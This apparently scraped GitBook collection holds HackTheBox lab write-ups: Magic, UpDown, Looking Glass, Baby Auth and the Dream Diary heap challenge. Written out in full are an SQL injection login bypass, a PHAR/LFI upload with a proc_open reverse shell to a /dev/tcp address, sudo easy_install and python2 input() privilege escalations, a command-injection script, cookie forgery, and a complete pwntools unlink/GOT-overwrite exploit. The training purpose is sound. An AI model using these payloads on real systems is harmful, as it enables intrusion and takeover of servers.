arrow-left

All pages
gitbookPowered by GitBook
1 of 20

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Magic

SQL injection, PHP reverse shell upload, mysqldump and PATH injection

hashtag
Enumeration

As always, let's start with an nmap:

$ sudo nmap -sS -n -p- -sV -sC -oN depth.nmp 10.10.10.185

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only ports 22 and 80. Add magic.htb to your /etc/hosts and let's check out the website.

hashtag
HTTP

There's definitely a lot going on. By analysing the source we can see some images are in the images/uploads/ folder, which is useful for later. Let's click the Login button at the bottom left.

First thing's first, let's try the default admin:admin. We get told it's invalid.

Now we can mess with the input to test for SQL injection. Tampering with a payload such as '<>:32;4#::!@$":' doesn't tell us it's invalid; perhaps it's having an affect?

If we try a basic payload such as admin'#, what happens? The logic here is it logs in with the username admin and comments out the password check to always successfully log us in, essentially making it

Success!

SELECT * FROM users WHERE username = 'admin'#' AND PASSWORD = ''
The Main Page
SQL Injection Check
The Next Page

Medium

UpDown

LFI to RCE using PHAR files while bypassing disabled_functions, followed by abuse of SUID and sudo.

hashtag
Enumeration

As per usual, we knock out a quick nmap:

It appears to be running Apache on Ubuntu, including a webserber titled Is My Website Up?

hashtag
Webserver

A quick look on the IP gives us a basic page. It appears to be an application that checks for you whether or not a website it up:

We can see at the bottom that siteisup.htb is the domain, so we add it to /etc/hosts. The website we are served, however, is still the same.

hashtag
Website Analysis

I listen with sudo nc -nvlp 80 but if we put in our IP, we get an interesting message:

If we put in http:// it works, though. There is probably some check to detect the protocol the request uses. It does appear to just be a GET request

Nothing of note here, except confirmation that the domain is siteisup.htb. On the website there is a massive delay and it says it's down:

This makes sense as we are not sending a response, so it has no way of telling. If we instead serve port 80 with a python SimpleHTTPServer, which has a response, we are told it's up:

There is once again no additional data:

If we turn on Debug Mode, the website prints out the headers and the HTML data.

We can also realise that we can use http://127.0.0.1 as input so SSRF could be possible. If we try and use other wrappers like file:// or php:// then it breaks and we get the Hacking attempt was detected ! message again.

circle-info

It's not all wrappers that get blocked, as ippsec showed in , as ftp and gopher both work fine.

hashtag
Gobuster

We can run some brute force scripts in the background for files and directories while we probe manually:

Gobuster detects that there is a /dev directory! This looks like the only useful thing it finds, as basically everything else is status code 403. Connection to /dev just loads up a blank page with no information.

But what if we bruteforce under /dev? In fact, we hit the jackpot - there's a .git directory!

hashtag
Git

We'll use a tool called to dump the contents of the Git repo:

The contents are interesting. First we see index.php, which looks like this:

Essentially, it checks the page parameter; if it doesn't contain strings like bin or etc, it will append .php to the end and serve it back. If it does, it simply renders checker.php. checker.php is the file for the main page we see on a normal connectiong, which checks if a website is up or not.

There is clearly LFI here, but made slightly more difficult by the blacklist and the addition of .php onto the end of a filename.

Additionally, we can dump more details from Git using the git log command. A couple of intersting commits come up if that happens:

There is very potentially some interesting information in .htpasswd and .htaccess, and the mention of a dev vhost is useful too - there may be a dev.siteisup.htb. We'll add this to our hosts file, but if we try to connect, it tells us it's Forbidden to access that resource. We've at least confirmed that the subdomain exists and is treated differently.

hashtag
.htpasswd

If we checkout the commit 8812785e31c879261050e72e20f298ae8c43b565 using git checkout, we can see that .htpasswdexists, but it's empty:

hashtag
.htaccess

.htaccess is much more intersting:

This tells us there is a special header that needs to be set called Special-Dev with the value only4dev. COnsidering the description of the commit is New technique in header to protect our dev vhost and dev.siteisup.htb is Forbidden, it's likely for that. We can check using BurpSuite:

And it looks like it is!

hashtag
Dev Website

To make it easier for us, we're gonna get BurpSuite to add the header for us with its proxy (thanks to ippsec for this!). We can go to Match and Replace under Proxy Options:

And we can access it successfully in the browser:

Fiddling around with the website, we realise it reflects the git repository perfectly - the hyperlink for the Admin Page adds ?page=admin to the request, which then spits out the contents of admin.php. Clearly, the LFI works.

hashtag
LFI Exploitation

A logical route here would be to upload our own file and then LFI it for RCE. However, there are two issues with this.

Firstly, the server checks the file extension, and denies uploading a fair few of them:

Secondly, the server appends .php to the page parameter of the GET request:

We have to somehow bypass these restrictions to get proper LFI.

If we have a proper look at the code, we realise that it all happens very quickly:

So after all the checks, it:

  • Uploads it to uploads/, under a folder by time

  • Reads all the lines in the file, putting them into a list

  • Queries each element of the list to see if it's up

So it seems like it expects a list of websites to check, then once that's done deletes them immediately.

Note that if the webserver doesn't respond, it hangs for a period of time - this is the massive delay we noticed right away. We can use this to our advantage and keep the server running, leaving the file up.

hashtag
File Upload Attempt

We make a very simple test.php:

As we predicted, the server rejects the file. If we rename it to test.txt and try again, the upload is successful. If we go to http://dev.siteisup.htb/uploads/, we see the file gets deleted immediately. Let's add our own IP and see if it hangs long enough for us to actually get it:

Still nothing. The resposne is very quick on the original site, so it probably detected the socket was closed. If we open the socket but don't respond, for example with netcat, it might delay:

And now if we run over to uploads we can see the file!

We can actually also add the -k flag to the above nc command to keep the listening persist over multiple connections. I'll have this running in the background while I tinker with what can be done.

hashtag
PHAR Files

PHP has its own archives called phar files, where you essentially package up PHP files into a zip file. The cool thing about a phar file is that we can .

The way this works is that we can have a file with the .php extension, then in the page parameter of the GET request we can use the phar:// wrapper to access the PHP file inside it.

We'll make test.php really simple to start with:

We then compress it into a phar file:

The upload works! Let's try and access the file itself. In BurpSuite, we'll use Repeater to query for the file. Note that the server appends the .php for us - that's half the reason we have to do it this way! So don't include the extension in the page parameter.

It worked! Now let's do a crazier command, like system("ls"):

Huh, it's an Internal Server Error. Considering that the previous attempt worked well, chances are . This is done using disabled_functions, and we can check by running phpinfo(), so let's do that:

There are a lot of disabled functions, but one that is not disabled is proc_open(). This can be found using the tool , as recommended by and . A proc_open() reverse shell can be pretty simple:

A basic reverse shell to port 4000. Let's do the exact same thing and pray it works.

Which it does! We upgrade the shell quickly using

hashtag
Privesc to Developer

A quick check in /home tells us there is a developer user. If we go into their home directory then /dev, there is a SUID binary named siteisup with the source code siteisup.py. We can read siteisup.py:

We can immediately spot this is python2, and even more importantly it's using input() in python2 - which can easily lead to code execution. If we run ./siteisup, we get prompted for the URL. If we enter a simple os.system command, we get a response:

Aside from the errors, we can see it works! Now we can run __import__('os').system('bash') and get a shell as developer. I'll grab the id_rsa in .ssh, call it dev.key and SSH in:

And now we have a shell as developer and can read user.txt!

hashtag
Privesc to Root

We can check our sudo permissions:

We have sudo permissions to run easy_install. We can use:

And from there we easily read root.txt.

$ nmap -p- -sC -sV 10.10.11.177 -oA nmap/basic.nmp
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Deletes the file
his videoarrow-up-right
git-dumperarrow-up-right
use the phar:// stream wrapper to access a PHP script inside the phar filearrow-up-right
some PHP functions are disabledarrow-up-right
dfunc-bypasserarrow-up-right
ippsecarrow-up-right
0xdfarrow-up-right
GTFOBins to find an easy sudo privesc for easy_installarrow-up-right
Hacking attempt was detected !
It's down

Looking Glass

hashtag
Analysis

When we start the instance, we are met with an options menu:

It appears as if we can input the IP, which is then pinged. Let's imagine for a second how this could be implemented on the server side. A common trap developers can fall into is doing something like:

Essentially, we're passing the parameters to bash. This means we could, theoretically, insert a ; character into the ip variable, and everything behind it would be interpreted as a seperate command, e.g.:

Here, ls would be run as a separate command. Let's see if it works!

hashtag
Exploitation

Let's try it by simply inputting ; ls to the end of the IP and submitting:

Look - as well as the ping command, we get index.php, which is the result of the ls command!

There doesn't appear to be a flag, so we'll try ; ls / to read the root directory next:

Woo - there's a flag_2viTb file! Now we'll inject ; cat /flag_2viTb to read the flag:

And boom, we've got the flag - HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}.

hashtag
Automation

Because I prefer a command-line interface, I originally created a simple script to inject parameters for me:

This simply inputs the command as cmd, sets the POST parameters, and (really messily) parses the response to return just the data.

hashtag
Checking the Source

We can inject cat index.php to see what exactly was happening, and we immediately see the following lines:

As we guessed, it passed in the input without sanitising it to remove potential injection.

$ sudo nc -nvlp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:43618.
GET / HTTP/1.1
Host: 10.10.14.22
User-Agent: siteisup.htb
Accept: */*
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.177 - - [22/Jan/2023 15:15:54] "GET / HTTP/1.1" 200 -
$ gobuster dir -u siteisup.htb -w /tools/SecLists/Discovery/Web-Content/raft-large-words.txt -x php
$ git_dumper.py http://siteisup.htb/dev/.git/ files/
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
	define("DIRECTACCESS",false);
	$page=$_GET['page'];
	if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
		include($_GET['page'] . ".php");
	}else{
		include("checker.php");
	}	
?>
commit 61e5cc0550d44c08b6c316d4f04d3fcc7783ae71

    Delete .htpasswd

commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date:   Wed Oct 20 16:38:54 2021 +0200

    New technique in header to protect our dev vhost.

commit bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
Author: Abdou.Y <84577967+ab2pentest@users.noreply.github.com>
Date:   Wed Oct 20 16:37:20 2021 +0200

    Update .htaccess
    
    New technique in header to protect our dev vhost.
$ cat .htpasswd 
$ cat .htaccess 
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)) {
    die("Extension not allowed!");
}
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)) {
    include($_GET['page'] . ".php");
}
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)) {
	die("Extension not allowed!");
}

# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)) {
	mkdir($dir, 0770, true);
}

# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));

foreach($websites as $site) {
    $site=trim($site);
    if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)) {
	$check=isitup($site);
	if($check){
	    echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
	} else {
	    echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
	}	
    } else {
	echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
    }
}

# Delete the uploaded file.
@unlink($final_path);
<?php system("ls"); ?>
10.10.14.22
<?php system("ls"); ?>
$ sudo nc -nvlp 80
<?php echo "test"  ?>
$ zip test.phar test.php
disable_functions:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen
<?php
        $descriptor_spec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
        );
        $cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.22/4000 0>&1'";
        
        proc_open($cmd, $descriptor_spec, $pipes);
?>
python -c 'import pty; pty.spawn("/bin/bash")'
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
	print "Website is up"
else:
	print "Website is down"
$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('id')
__import__('os').system('id')
uid=1002(developer) gid=33(www-data) groups=33(www-data)
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 4, in <module>
    page = requests.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
    prep = self.prepare_request(req)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
    self.prepare_url(url, params)
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
    raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?
$ ssh -i dev.key developer@10.10.11.177
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install
developer@updown:~$ cd /tmp/
developer@updown:/tmp$ TF=$(mktemp -d)
developer@updown:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/tmp$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.uxu7JoSg3E
Writing /tmp/tmp.uxu7JoSg3E/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.uxu7JoSg3E/egg-dist-tmp-SX0ArL
# whoami 
root
system("ping -c 4 " + ip);
system("ping -c 4 178.62.0.100; ls");
PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
index.php
PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
bin
boot
dev
entrypoint.sh
etc
flag_2viTb
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www
PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}
from requests import post

cmd = input('>> ')

data = {'test': 'ping', 'ip_address': f'178.62.0.100; {cmd}', 'submit': 'Test'}
r = post('http://178.62.0.100:30134/', data=data)

data = r.text
data = data.split('packet loss\n')[-1]
data = data.split('</textarea>')[0]

print(data.strip())
$ python3 exploit.py 
>> cat /flag_2viTb      
HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}
function runTest($test, $ip_address)
{
    if ($test === 'ping')
    {
        system("ping -c4 ${ip_address}");
    }
    if ($test === 'traceroute')
    {
        system("traceroute ${ip_address}");
    }
}

Baby Auth

hashtag
Analysis

We are first greeted by a login page. Let's, once again, try admin with password admin:

Looks like we'll have to create an account - let's try those credentials.

This is great, because now we know we need a user called admin. Let's create another user - I'll use username and password yes, because I doubt that'll be used.

We're redirected to the login, which makes it seem like it worked. Let's log in with the credentials we just created:

Whoops, guess we're not an admin!

When it comes to accounts, one very common thing to check is cookies. Cookies allow, among other things, for users to . To check cookies, we can right-click and hit Inspect Element and then move to the Console tab and type document.cookie.

Well, we have a cookie called PHPSESSID and the value eyJ1c2VybmFtZSI6InllcyJ9. Cookies are often base64 encoded, so we'll use a tool called to decode it.

Once we decode the base64, we see that the contents are simply {"username":"yes"}.

hashtag
Exploitation

So, the website knows our identity due to our cookie - but what's to stop us from forging a cookie? Since we control the cookies we send, we can just edit them. Let's create a fake cookie!

Note that we're URL encoding it as it ends in the special character =, which usually has to be URL encoded in cookies. Let's change our cookie to eyJ1c2VybmFtZSI6ImFkbWluIn0%3D!

Ignore the warning, but we've now set document.cookie. Refresh the page to let it send the cookies again.

And there you go - we successfully authenticated as an admin!

HTB{s3ss10n_1nt3grity_1s_0v3r4tt3d_4nyw4ys}

Invalid username or password
this user already exists
authenticate without logging in every timearrow-up-right
CyberChefarrow-up-right
Login Redirect
Creating a Fake Cookie Value

Pwn

Dream Diary: Chapter 1

hashtag
Overview

Dream Diary: Chapter 1 (known as DD1) was an insane pwn challenge. It is one of the few heap challenges on HackTheBox and, while it took a great deal of time to understand, was probably one of the most satisfying challenges I've done.

There were two (main) ways to solve this challenge: utilising an unlink exploit and overlapping chunks then performing a fastbin attack. I'll detail both of these, but first we'll identify the bug and what it allows us to do.

hashtag
Analysis

Let's have a look at what we can do.

So at first look we can create, edit and delete chunks. Fairly standard heap challenge.

hashtag
Decompilation

Now we'll check out the binary in more detail.

circle-info

Many of the functions are bloated. If there is a chunk of irrelevant code, I'll just replace it with a comment that explains what it does (or in the case of canaries just remove altogether). I'll also remove convoluted multi-step code, so the types may be off, but it's much more readable.

hashtag
Allocate

Very simplified, but it takes in a size and then calls malloc() to assign a chunk of that size and reads that much data into the chunk.

hashtag
Edit

Again, quite simplified. Calls strlen() on the data there, reads that many bytes in.

hashtag
Delete

hashtag
Finding the bug

The delete() function is secure, so it's clearly not an issue with the way the chunk is freed. Now we can check the functions that write data, allocate() and edit().

allocate() only ever inputs how much it allocates, so it's secure. The bug is in edit():

Remember that strlen() stops at a null byte. If we completely fill up our buffer the first time we allocate, there are no null bytes there. Instead, we will continue into the size field of the next chunk.

Provided the size field is greater than 0x0 - which is will be - strlen() will interpret it as part of the string. That only gives us an overflow of one or two bytes.

But what can we do with that? The last 3 bits of the size field are taken up by the flags, the important one for this being the prev_in_use bit. If it is not set (i.e. 0) then we can use PREV_SIZE to calculate the size of the previous chunk. If we overwrite P to be 0, we can fake PREV_SIZE as it's .

How we can utilise this will be detailed in the subpages.

hashtag
Scripting

Some helper functions to automate the actions.

Unlink Exploit

hashtag
Summary

In this approach, we overwrite PREV_SIZE to shrink the size of the previous chunk. This tricks the heap into thinking that the previous chunk's metadata starts where our data does, enabling us to control chunk metadata. As we can control the fd and bk pointers, we can execute an unlink exploitarrow-up-right. We can bypass the unlink security checks arrow-up-rightby pointing fd and bk to the chunklist, which contains a pointer to the chunk.

This enables us to overwrite a chunklist entry with the address of the chunklist itself, meaning we can now edit the chunklist. This gives us the ability to write to wherever we want, and we choose to target the GOT. We can overwrite strlen@got with puts@plt as that makes it functionally equivalent and then read a libc address. From here we overwrite free@got with the address of system and free() a chunk containing /bin/sh.

hashtag
Exploitation

hashtag
The Unlink

To bypass the unlink check, we need P->fd->bk to point to the address of P, meaning P->fd has to point 0x18 bytes behind it. Because we want P->fd to be within the chunklist (most simply at the beginning), we will allocate 3 chunks before the chunk we use for the unlink() exploit. Each chunk we allocate takes up 0x8 bytes of space on the chunklist (this will make more sense later, I promise).

We'll choose a size of 0x98 for the chunks. Firstly, this means the chunk does not fall in fastbin range. Secondly, the additional 0x8 bytes means we do in fact overwrite prev_size. Other sizes such as 0x108 would also work, but make sure Chunk 4 overwrites Chunk 5's prev_size field.

Now we will create a fake chunk. The fake size we give it will be the difference between the start of our fake data and the next consecutive chunk. In this case, that is 0x90 - as you see from the image, the difference between chunks 4 and 5 is 0xa0, so if we remove the metadata the fake chunk is 0x90. We'll also overwrite PREV_IN_USE to trick it into thinking it's free.

And if we send this all off, we can see it worked perfectly:

radare2 tells us chunk 4 is free. Chunk 5 has a new prev_size and P is no longer set. If we run dmhc again to view the chunk at location of chunk 5 - 0x90, our fake chunk is set up exactly as planned.

Now we free chunk 5, making Chunks 4 and 5 consolidate. This triggers a call to the unlink() macro on Chunk 4. Let's look at how we expect the unlink to go.

Both writes write to CHUNKLIST + 0x18, and the value written is the address of the chunklist. Now, if we edit Chunk 3, we're actually editing the chunklist itself as that's where the pointer points to.

We also manage to bypass the by getting FD->bk and BK->fd to point at the chunk's entry in the list.

Note that the value written was the location of fd, so if the chunk we overflowed with was Chunk 0 we would have had to write to a location ahead of the chunklist in memory in order to bypass the check, and pad all the way to the start before we could edit chunklist entries. By allocating 3 chunks before the overflow chunk we were able to write the chunklist address to entry 4 directly and bypass the check, meaning we had to mess around with padding less.

And it definitely worked:

hashtag
LIBC Leak

Editing Chunk 3 now edits the chunklist itself, meaning we can overwrite pointers and gain arbitrary writes.

If we go back to the disassembly of edit(), we notice strlen() is called on the chunk data. We can overwrite strlen@got with puts@plt to print out this data instead - and using puts has an additional benefit: puts also returns the length of the string it reads. This means the program will not break, but we'll still gain the additional functionality.

Once we overwrite strlen@got, we'll call edit() on another GOT entry (free) to leak libc.

Now we just attempt to edit Chunk 0. Because it would print the libc address as soon as we enter the index, we'll have to do this part manually or the p.sendlineafter() lines would skip over the leak.

The response we get is

So it worked! Let's just parse the response and print out the leak.

Perfect.

hashtag
Getting a Shell

This is quite simple - change a GOT entry such as free and replace it with system. Then, if the chunk contains /bin/sh, it'll get passed to the function as a parameter.

You may notice the 2nd and 3rd chunks have been untouched so far, so we could easily place the /bin/sh in one of those right at the beginning for use now.

We're currently halfway through using edit() on free@got, so we can just continue inputting system@libc as the data, then free Chunk 1.

And boom - success!

hashtag
Moving to Remote

There are a few changes we need to make remotely. Firstly, the libc may be different (it was for me). Simply leak a couple more libc addresses and use somewhere like to identify the libc version. We can also change the beginning of our script.

Secondly, the way the service uses socat means it echoes our input back to us. Because of the way we use p.sendlineafter(), this doesn't affect us until we parse the libc leak. We can just listen to the extra data if it's on REMOTE mode.

Thirdly, the socat used has pty enabled. This means it interprets the \x7f we send as the ascii representation of backspace, which would delete anything we sent. To mitigate this (it's only relevant when sending system) we just check if we're on REMOTE mode and if we are we can escape the \x7f with \x16, the socat escape character.

And it works perfectly!

hashtag
Final Exploit

originally part of the previous chunk's dataarrow-up-right
Chunk 1's data is right up against Chunk 2's size field
unlink checkarrow-up-right
herearrow-up-right
PREV_SIZE is overwritten
The 4th Pointer is overwritten with the chunklist address
ironstone@ubuntu:~/Desktop/hackthebox/chapter1$ ./chapter1 

+------------------------------+
|         Dream Diary          |
+------------------------------+
| [1] Allocate                 |
| [2] Edit                     |
| [3] Delete                   |
| [4] Exit                     |
+------------------------------+
>> 1

Size: 20
Data: ye
Success!
[...]
/* Find free chunk index in the list */

/* Input size */

chunk = malloc(size);
*(void **)(&CHUNKLIST + (long)index * 8) = chunk; /* Add chunk address to list */

/* Check for Malloc Errors */

printf("Data: ");
read(*(void **)(&CHUNKLIST + index * 8), size);
puts("Success!");
/* Input index */

/* check 0 <= index <= 15 */
/* Check if chunk address in list is zero - if it is, detect the UAF */

/* Read length of data stored there */
size = strlen(*(char **)(&CHUNKLIST + index * 8));
printf("Data: ");
read(*(void **)(&CHUNKLIST + index * 8), size);
puts("Done!");
/* Input index */

/* check 0 <= index <= 15 */
/* Check if chunk address in list is zero - if it is, detect the UAF */

free(*(void **)(&CHUNKLIST + index * 8));     /* Free the chunk */
*(&CHUNKLIST + index * 8) = 0; /* Zero out the entry - stop UAF and double-free */
puts("Done!");
size = strlen(*(char **)(&CHUNKLIST + index * 8));
read(*(void **)(&CHUNKLIST + index * 8), size);
from pwn import *

elf = context.binary = ELF('./chapter1', checksec=False)
libc = elf.libc
p = process()

CHUNKLIST = 0x6020c0

def alloc(size=0x98, data='a'):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Size: ', str(size))
    p.sendlineafter('Data: ', data)

def free(idx=0):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('Index: ', str(idx))

def edit(idx=0, data='a'):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Data: ', data)
alloc()
alloc()
alloc()
alloc(data='A' * 0x98)
alloc()
fake_chunk = flat(
    0x0,                # fake prev_size (of fake chunk)
    0x91,               # fake size
    CHUNKLIST,          # fd (controlled)
    CHUNKLIST + 8,      # bk (controlled)
    b'A' * 0x70,        # pad to -8 off max size so we can fake prev_size
    0x90                # fake prev_size
)
fake_chunk += p16(0xa0) # overwrite PREV_IN_USE

edit(3, fake_chunk)
FD = P->fd            (= CHUNKLIST)
BK = P->bk            (= CHUNKLIST + 8)

FD->bk = BK           (CHUNKLIST + 0x18 = CHUNKLIST)
BK->fd = FD           (CHUNKLIST + 8 + 0x10 = CHUNKLIST)
# now we write strlen@GOT to the chunklist
edit(3, p64(elf.got['strlen']))
edit(0, p64(elf.plt['puts']))

# now when we edit() we read chunk contents
# but strlen@got holds a PLT address, so let's change the GOT entry for the leak
edit(3, p64(elf.got['free']))
p.sendline('2')
p.sendlineafter('Index: ', '0')

print(p.clean())
b'@u\xdb%\xc0\x7f\nData: '
free_leak = u64(p.recv(6) + b'\x00\x00')
log.success('Free Leak: ' + hex(free_leak))
libc.address = free_leak - libc.symbols['free']
log.success('Libc base: ' + hex(libc.address))

p.recvuntil('Data: ')                       # just receive the rest
[+] Free Leak: 0x7f2211927540
[+] Libc base: 0x7f22118a3000
# right at the beginning
alloc()
alloc(data='/bin/sh\x00')
alloc()
alloc(data='A' * 0x98)
alloc()
p.sendline(p64(libc.symbols['system']))     # pass in system@libc as the data
free(1)     # trigger system@libc with the parameter /bin/sh

p.interactive()
[+] Free Leak: 0x7f04d4413540
[+] Libc base: 0x7f04d438f000
[*] Switching to interactive mode
$ ls
chapter1  exploit.py
if args.REMOTE:
    p = remote('167.71.140.171', 31713)
    libc = ELF('./libc-remote.so')
else:
    p = process()
    libc = elf.libc
if args.REMOTE:
    p.recvuntil('0\r\n')        # echoed back

free_leak = u64(p.recv(6) + b'\x00\x00')    # now leak as usual
# [...]
system = p64(libc.symbols['system'])

if args.REMOTE:
    system = system.replace(b'\x7f', b'\x16\x7f')   # escape backspace

p.sendline(system)
[+] Free Leak: 0x7fe8285324f0
[+] Libc base: 0x7fe8284ae000
[*] Switching to interactive mode
$ cat flag
HTB{Singl3?_NO!_D0ubl3?_NO!_Tr1pl3_Unsaf3_Unlink}
from pwn import *

elf = context.binary = ELF('./chapter1', checksec=False)

if args.REMOTE:
    p = remote('178.62.90.208', 30352)
    libc = ELF('./libc-remote.so')
else:
    p = process()
    libc = elf.libc

CHUNKLIST = 0x6020c0

def alloc(size=0x98, data='a'):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Size: ', str(size))
    p.sendlineafter('Data: ', data)

def free(idx):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('Index: ', str(idx))

def edit(idx, data='a'):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Data: ', data)

alloc()
alloc(data='/bin/sh\x00')
alloc()
alloc(data='A' * 0x98)
alloc()

fake_chunk = flat(
    0x0,                # fake prev_size (of fake chunk)
    0x91,               # fake size
    CHUNKLIST,          # fd (controlled)
    CHUNKLIST + 8,      # bk (controlled)
    b'A' * (0x70),      # pad to -8 off max size so we can fake prev_size
    0x90                # fake prev_size
)
fake_chunk += p16(0xa0) # overwrite PREV_IN_USE

edit(3, fake_chunk)
free(4)

# now we write strlen@GOT to the chunklist
edit(3, p64(elf.got['strlen']))
edit(0, p64(elf.plt['puts']))

# now when we edit() we read chunk contentx
# but strlen@got holds a PLT address, so let's change the GOT entry for the leak
edit(3, p64(elf.got['free']))

# have to do this one part at a time to grab the address
p.sendline('2')
p.sendlineafter('Index: ', '0')

if args.REMOTE:
    p.recvuntil('0\r\n')

free_leak = u64(p.recv(6) + b'\x00\x00')
log.success('Free Leak: ' + hex(free_leak))
libc.address = free_leak - libc.symbols['free']
log.success('Libc base: ' + hex(libc.address))

p.recvuntil('Data: ')                       # just receive the rest

# send system
system = p64(libc.symbols['system'])

if args.REMOTE:
    system = system.replace(b'\x7f', b'\x16\x7f')   # socat badchars - \x7f interpreted as backspace, escape with \x16

p.sendline(system)

free(1)

p.interactive()

Chunk Overlap

hashtag
Summary

TODO

Linux Machines

Easy

Hard

Ropme

hashtag
Overview

Ropme arrow-up-rightwas an 80pts challenge rated as Hard on HackTheBox. Personally, I don't believe it should have been a hard; the technique used is fairly common and straightforward, and the high points and difficulty is probably due to it being one of the first challenge on the platform.

Exploiting the binary involved executing a ret2plt arrow-up-rightattack in order to leak the libc version before gaining RCE using a ret2libcarrow-up-right.

hashtag
Analysis

